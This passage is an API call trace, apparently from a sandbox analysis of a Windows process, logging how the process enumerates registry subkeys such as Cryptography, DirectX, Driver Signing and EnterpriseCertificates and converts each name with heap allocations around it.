RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0xf7c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0033.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.784] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0xf7b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0033.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0xf7c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0033.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.784] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.784] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0xf7b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0033.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0033.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.785] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0xf7b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0033.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0xf7c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0033.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.785] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0xf7b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0033.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0xf7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0033.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.785] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0xf7b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0033.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0033.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0xf7c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0033.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.785] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0xf7b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0033.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0033.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0xf7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0033.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.786] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0xf7b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0033.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0xf7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0033.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.786] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0xf7b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0033.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0xf7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0033.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.786] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0xf7b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0033.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0xf7c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0033.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.786] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0xf7b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0033.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0xf7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0033.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.787] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0xf7b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0033.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0xf7c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0033.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.787] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0xf7b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0033.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0033.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0xf7c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0033.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.788] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0xf7b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0033.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0xf7c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0033.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.788] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0xf7b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0033.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0xf7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0033.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.788] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0xf7b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0033.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0xf7c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0033.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.789] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0xf7b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0033.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0033.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.789] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0xf7b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0033.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0xf7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0033.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.789] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0xf7b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0033.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0033.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.789] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0xf7b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0033.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0033.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0xf7c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0033.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.790] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0xf7b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0033.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7bbb8 [0033.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0xf7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0033.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bbb8) returned 1 [0033.790] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0xf7b930, 